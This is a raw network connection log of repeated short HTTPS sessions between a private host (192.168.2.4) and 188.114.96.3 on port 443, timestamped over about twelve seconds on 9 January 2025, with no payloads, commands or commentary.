Jan 9, 2025 08:30:43.526053905 CET	50238	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:43.526110888 CET	443	50238	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:43.526281118 CET	50238	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:43.526516914 CET	50238	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:43.526523113 CET	443	50238	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:44.004766941 CET	443	50238	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:44.007652044 CET	50238	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:44.007688999 CET	443	50238	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:44.125649929 CET	443	50238	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:44.125696898 CET	443	50238	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:44.125741959 CET	50238	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:44.125777006 CET	443	50238	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:44.130140066 CET	443	50238	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:44.130172968 CET	443	50238	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:44.130215883 CET	50238	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:44.130229950 CET	443	50238	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:44.130266905 CET	443	50238	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:44.130311966 CET	50238	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:44.131613016 CET	50238	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:44.133755922 CET	50239	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:44.133806944 CET	443	50239	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:44.133909941 CET	50239	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:44.134247065 CET	50239	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:44.134260893 CET	443	50239	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:44.595386028 CET	443	50239	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:44.597609997 CET	50239	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:44.597656012 CET	443	50239	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:44.716702938 CET	443	50239	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:44.716790915 CET	443	50239	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:44.716814041 CET	443	50239	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:44.716839075 CET	443	50239	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:44.716840029 CET	50239	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:44.716866016 CET	443	50239	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:44.716887951 CET	50239	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:44.716941118 CET	443	50239	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:44.717001915 CET	50239	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:44.717786074 CET	50239	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:44.718821049 CET	50240	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:44.718849897 CET	443	50240	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:44.718924999 CET	50240	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:44.719156981 CET	50240	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:44.719166994 CET	443	50240	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:45.173441887 CET	443	50240	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:45.175566912 CET	50240	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:45.175595045 CET	443	50240	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:45.321923018 CET	443	50240	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:45.321975946 CET	443	50240	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:45.322005033 CET	443	50240	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:45.322036982 CET	443	50240	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:45.322036028 CET	50240	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:45.322063923 CET	443	50240	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:45.322141886 CET	443	50240	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:45.322161913 CET	50240	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:45.322429895 CET	50240	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:45.322906017 CET	50240	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:45.325445890 CET	50241	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:45.325500965 CET	443	50241	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:45.325614929 CET	50241	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:45.325999022 CET	50241	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:45.326023102 CET	443	50241	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:45.816935062 CET	443	50241	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:45.819155931 CET	50241	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:45.819189072 CET	443	50241	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:45.939017057 CET	443	50241	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:45.939066887 CET	443	50241	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:45.939096928 CET	443	50241	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:45.939112902 CET	50241	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:45.939126015 CET	443	50241	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:45.939152956 CET	443	50241	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:45.939168930 CET	50241	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:45.939243078 CET	443	50241	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:45.939285040 CET	50241	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:45.940289974 CET	50241	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:45.941761971 CET	50242	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:45.941803932 CET	443	50242	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:45.941869020 CET	50242	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:45.942261934 CET	50242	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:45.942279100 CET	443	50242	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:46.405261993 CET	443	50242	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:46.407772064 CET	50242	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:46.407803059 CET	443	50242	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:46.530996084 CET	443	50242	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:46.531044006 CET	443	50242	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:46.531078100 CET	443	50242	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:46.531086922 CET	50242	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:46.531100988 CET	443	50242	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:46.531114101 CET	443	50242	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:46.531133890 CET	50242	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:46.531198978 CET	443	50242	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:46.531234980 CET	50242	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:46.532376051 CET	50242	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:46.533571959 CET	50243	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:46.533632040 CET	443	50243	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:46.533688068 CET	50243	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:46.534029007 CET	50243	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:46.534043074 CET	443	50243	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:46.998713017 CET	443	50243	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:47.003308058 CET	50243	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:47.003334045 CET	443	50243	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:47.123835087 CET	443	50243	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:47.123889923 CET	443	50243	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:47.123918056 CET	443	50243	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:47.123944044 CET	50243	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:47.123944998 CET	443	50243	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:47.123959064 CET	443	50243	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:47.123997927 CET	50243	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:47.124053001 CET	443	50243	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:47.124141932 CET	50243	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:47.125432014 CET	50243	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:47.126255035 CET	50244	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:47.126298904 CET	443	50244	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:47.126456022 CET	50244	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:47.126991987 CET	50244	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:47.127001047 CET	443	50244	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:47.584136009 CET	443	50244	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:47.593452930 CET	50244	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:47.593487024 CET	443	50244	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:47.699543953 CET	443	50244	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:47.699598074 CET	443	50244	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:47.699625969 CET	443	50244	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:47.699651957 CET	443	50244	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:47.699675083 CET	50244	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:47.699697018 CET	443	50244	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:47.699719906 CET	50244	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:47.699757099 CET	443	50244	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:47.703810930 CET	50244	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:47.722316027 CET	50244	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:47.749605894 CET	50245	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:47.749676943 CET	443	50245	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:47.749846935 CET	50245	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:47.754390001 CET	50245	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:47.754406929 CET	443	50245	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:48.209686995 CET	443	50245	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:48.212625980 CET	50245	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:48.212646008 CET	443	50245	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:48.352989912 CET	443	50245	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:48.353039980 CET	443	50245	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:48.353075981 CET	443	50245	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:48.353094101 CET	50245	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:48.353108883 CET	443	50245	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:48.353140116 CET	443	50245	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:48.353151083 CET	50245	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:48.353156090 CET	443	50245	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:48.353207111 CET	50245	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:48.353214025 CET	443	50245	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:48.353226900 CET	443	50245	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:48.353291035 CET	50245	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:48.354370117 CET	50245	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:48.356033087 CET	50246	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:48.356071949 CET	443	50246	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:48.356128931 CET	50246	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:48.356623888 CET	50246	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:48.356636047 CET	443	50246	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:49.058079958 CET	443	50246	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:49.059693098 CET	50246	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:49.059722900 CET	443	50246	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:49.184290886 CET	443	50246	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:49.184339046 CET	443	50246	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:49.184367895 CET	443	50246	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:49.184392929 CET	443	50246	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:49.184415102 CET	50246	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:49.184443951 CET	443	50246	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:49.184461117 CET	50246	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:49.184519053 CET	443	50246	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:49.184684038 CET	50246	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:49.186721087 CET	50246	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:49.189452887 CET	50247	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:49.189500093 CET	443	50247	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:49.189706087 CET	50247	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:49.193480015 CET	50247	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:49.193494081 CET	443	50247	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:49.650146008 CET	443	50247	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:49.653402090 CET	50247	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:49.653425932 CET	443	50247	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:49.709434032 CET	50248	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:49.709459066 CET	50247	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:49.709465027 CET	443	50248	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:49.709558010 CET	443	50247	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:49.709662914 CET	50248	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:49.709755898 CET	443	50247	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:49.709816933 CET	50247	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:49.713439941 CET	50248	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:49.713449955 CET	443	50248	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:49.713643074 CET	50247	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:49.801997900 CET	50248	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:49.805452108 CET	50249	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:49.805499077 CET	443	50249	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:49.805612087 CET	50249	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:49.806027889 CET	50249	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:49.806050062 CET	443	50249	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:49.843327045 CET	443	50248	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:50.188812017 CET	443	50248	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:50.188879013 CET	50248	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:50.188894987 CET	50248	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:50.306926012 CET	443	50249	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:50.306989908 CET	50249	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:50.353275061 CET	50249	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:50.353296995 CET	443	50249	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:50.353652000 CET	443	50249	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:50.384723902 CET	50249	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:50.427328110 CET	443	50249	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:50.499188900 CET	443	50249	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:50.499234915 CET	443	50249	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:50.499260902 CET	443	50249	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:50.499277115 CET	50249	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:50.499294996 CET	443	50249	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:50.499325037 CET	50249	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:50.499325037 CET	443	50249	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:50.499339104 CET	443	50249	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:50.499383926 CET	50249	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:50.499391079 CET	443	50249	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:50.499407053 CET	443	50249	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:50.499447107 CET	50249	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:50.506412983 CET	50249	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:50.507540941 CET	50250	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:50.507571936 CET	443	50250	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:50.507637978 CET	50250	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:50.507850885 CET	50250	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:50.507864952 CET	443	50250	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:50.991612911 CET	443	50250	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:50.993951082 CET	50250	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:50.993962049 CET	443	50250	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:51.130947113 CET	443	50250	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:51.130995035 CET	443	50250	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:51.131022930 CET	443	50250	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:51.131048918 CET	443	50250	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:51.131058931 CET	50250	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:51.131069899 CET	443	50250	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:51.131083965 CET	50250	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:51.131139040 CET	443	50250	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:51.131176949 CET	50250	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:51.132191896 CET	50250	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:51.133661985 CET	50251	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:51.133699894 CET	443	50251	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:51.133766890 CET	50251	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:51.134043932 CET	50251	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:51.134048939 CET	443	50251	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:51.594144106 CET	443	50251	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:51.595851898 CET	50251	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:51.595877886 CET	443	50251	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:51.724091053 CET	443	50251	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:51.724140882 CET	443	50251	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:51.724170923 CET	443	50251	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:51.724201918 CET	443	50251	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:51.724224091 CET	50251	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:51.724237919 CET	443	50251	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:51.724262953 CET	50251	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:51.724315882 CET	443	50251	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:51.724366903 CET	50251	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:51.725167990 CET	50251	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:51.726228952 CET	50252	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:51.726281881 CET	443	50252	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:51.726385117 CET	50252	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:51.726618052 CET	50252	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:51.726630926 CET	443	50252	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:52.201090097 CET	443	50252	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:52.202764034 CET	50252	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:52.202809095 CET	443	50252	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:52.345029116 CET	443	50252	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:52.345077038 CET	443	50252	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:52.345104933 CET	443	50252	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:52.345130920 CET	443	50252	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:52.345134974 CET	50252	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:52.345166922 CET	443	50252	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:52.345184088 CET	50252	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:52.345660925 CET	443	50252	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:52.345711946 CET	50252	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:52.346081972 CET	50252	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:52.347168922 CET	50253	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:52.347201109 CET	443	50253	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:52.347295046 CET	50253	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:52.347527027 CET	50253	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:52.347537994 CET	443	50253	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:52.802515984 CET	443	50253	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:52.809592962 CET	50253	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:52.809608936 CET	443	50253	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:52.935816050 CET	443	50253	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:52.935866117 CET	443	50253	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:52.935894966 CET	443	50253	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:52.935925961 CET	443	50253	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:52.935937881 CET	50253	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:52.935957909 CET	443	50253	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:52.935971022 CET	50253	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:52.936045885 CET	443	50253	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:52.937272072 CET	50253	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:52.965262890 CET	50253	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:52.988989115 CET	50254	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:52.989039898 CET	443	50254	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:52.989114046 CET	50254	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:52.992930889 CET	50254	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:52.992944956 CET	443	50254	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:54.173072100 CET	443	50254	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:54.179070950 CET	50254	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:54.179101944 CET	443	50254	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:54.294652939 CET	443	50254	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:54.294707060 CET	443	50254	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:54.294729948 CET	443	50254	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:54.294751883 CET	443	50254	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:54.294780970 CET	50254	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:54.294814110 CET	443	50254	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:54.294842958 CET	50254	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:54.294883966 CET	443	50254	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:54.295003891 CET	50254	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:54.296598911 CET	50255	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:54.296605110 CET	50254	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:54.296653032 CET	443	50255	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:54.297550917 CET	50255	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:54.301449060 CET	50255	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:54.301479101 CET	443	50255	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:54.796188116 CET	443	50255	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:54.797995090 CET	50255	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:54.798015118 CET	443	50255	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:54.944003105 CET	443	50255	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:54.944046974 CET	443	50255	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:54.944073915 CET	443	50255	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:54.944103956 CET	443	50255	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:54.944106102 CET	50255	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:54.944127083 CET	443	50255	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:54.944144011 CET	50255	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:54.944202900 CET	443	50255	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:54.944264889 CET	50255	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:54.945250988 CET	50255	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:54.946700096 CET	50256	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:54.946736097 CET	443	50256	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:54.946795940 CET	50256	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:54.947098017 CET	50256	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:54.947110891 CET	443	50256	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:55.429667950 CET	443	50256	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:55.434181929 CET	50256	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:55.434216022 CET	443	50256	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:55.576565027 CET	443	50256	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:55.576613903 CET	443	50256	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:55.576642990 CET	443	50256	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:55.576653004 CET	50256	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:55.576668024 CET	443	50256	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:55.576698065 CET	443	50256	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:55.576705933 CET	50256	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:55.576714993 CET	443	50256	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:55.576755047 CET	50256	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:55.576761961 CET	443	50256	188.114.96.3	192.168.2.4
